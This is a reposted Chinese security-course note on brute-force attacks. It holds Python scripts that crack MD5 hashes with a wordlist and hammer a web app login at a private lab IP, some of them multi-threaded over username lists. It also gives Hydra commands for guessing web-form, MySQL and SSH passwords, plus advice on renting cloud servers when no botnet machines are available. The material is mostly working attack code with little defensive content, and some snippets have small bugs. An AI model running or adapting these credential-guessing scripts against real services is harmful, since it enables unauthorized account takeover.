admin管理员组文章数量:1574959
暴力破解
介绍
暴力破解本身就是一种洪泛攻击
应用场景:只要有密码的地方均可以尝试爆破
应用条件:爆破的时候要求访问次数不受约束
防护方案:次数限制 一个IP/账号仅可以尝试几次,但是这样可能出现攻击者使用用户的账号尝试,导致合法的用户别禁封
没有肉鸡怎么办?(没有多个公网IP) 在各个云服务器平台临时租借服务器
破解MD5
场景:已知MD5的加密的字符串,如何获取明文?
解决方案:
-
算法碰撞,一串128位的MD5(32位16进制),组合是2^128 但是明文无限 以无限对有限 必然存在两个明文有一样的MD5值
-
字典碰撞,给定一个字典文件,读取里面的密码明文,再对其进行MD5加密,和目标字符串进行对比
def md5(source):
with open('../dict/top19576.txt') as f:
passwords = f.readlines()
count = 1
for password in passwords:
if hashlib.md5(password.strip().encode()).hexdigest() == source:
print(f'"{password.strip()}"的md5值为"{source}"')
print('一共查找{0}次'.format(count))
exit(0)
count += 1
单线程爆破
# 单线程爆破
# 已知
def wn_01():
with open('../dict/top19576.txt')as file:
pw_list = file.readlines()
url = 'http://192.168.142.132:8080/woniusales/user/login'
count = 0
for password in pw_list:
data = {'username':'admin','password':password.strip(),'verifycode':'0000'}
resp = requests.post(url=url,data=data)
if 'login-fail' not in resp.text:
print(password.strip())
print(count)
exit(0)
count+=1
多线程爆破
import requests,threading
# 多线程爆破
# 500个线程 每个线程
def wn_02(username):
with open('../dict/top19576.txt')as file:
pw_list = file.readlines()
url = 'http://192.168.142.132:8080/woniusales/user/login'
for password in pw_list:
data = {'username': username, 'password': password.strip(), 'verifycode': '0000'}
resp = requests.post(url=url, data=data)
if 'login-fail' not in resp.text:
print(username.strip(),password.strip())
exit(0)
count += 1
if __name__ == '__main__':
# 读取用户名字典 遍历
with open('../dict/user.txt') as file:
usernames = file.readlines()
for username in usernames:
threading.Thread(target=wn_02,args=(username.strip(),)).start()
多线程分任务爆破
# 例如:用户字典有5000条数据 要求:500个线程,每个线程处理10个用户
# 核心:如何给多线程分配任务,此类思路可以解决大部分多线程的问题,比如多线程爬虫,扫描工作
def wn_03(username_list):
with open('../dict/top19576.txt')as file:
pw_list = file.readlines()
url = 'http://192.168.142.132:8080/woniusales/user/login'
for username in username_list:
for password in pw_list:
data = {'username': username.strip(), 'password': password.strip(), 'verifycode': '0000'}
resp = requests.post(url=url, data=data)
if 'login-pass' in resp.text:
print(username.strip(), password.strip())
if __name__ == '__main__':
# 读取用户名字典 遍历
with open('../dict/user.txt') as file:
usernames = file.readlines()
for i in range(0, len(usernames), 100):
usernames_part = usernames[i:i + 100]
threading.Thread(target=wn_03, args=(usernames_part,)).start()
暴力破解WiFi
代码
UI界面
Linux的Hydra爆破
参数
-
-l 指定用户名 -L 指定用户名字典文件
-
-p 指定密码 -P 指定密码字典文件
-
-C CSV文件
-
-e nsr 让hydra判断是否登录成功
-
-o 输出的日志文件的地址
-
-t 线程数量 默认16
-
-w 发送请求前暂停的时间
-
-s 端口号
-
-m 选项
# 爆破网站密码 login:参数:失败情况
hydra -s 8080 -L ./usernames.txt -P ./password.txt 192.168.10.22
-m 'xx/xxx/login:username=^USER^&password=^PASS^:login-fail' http-form-post
# 爆破mysql
hydra -L ./usernames.txt -P ./password.txt 192.168.10.22 mysql
# 爆破ssh
hydra -l root -P ./password.txt -vV -e ns 192.168.10.22 ssh
# 字典生成 https://blog.csdn/qq_38154820/article/details/106329498
crunch
版权声明:本文标题:网络安全 -- 暴力破解 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dianzi/1727780219a1129234.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论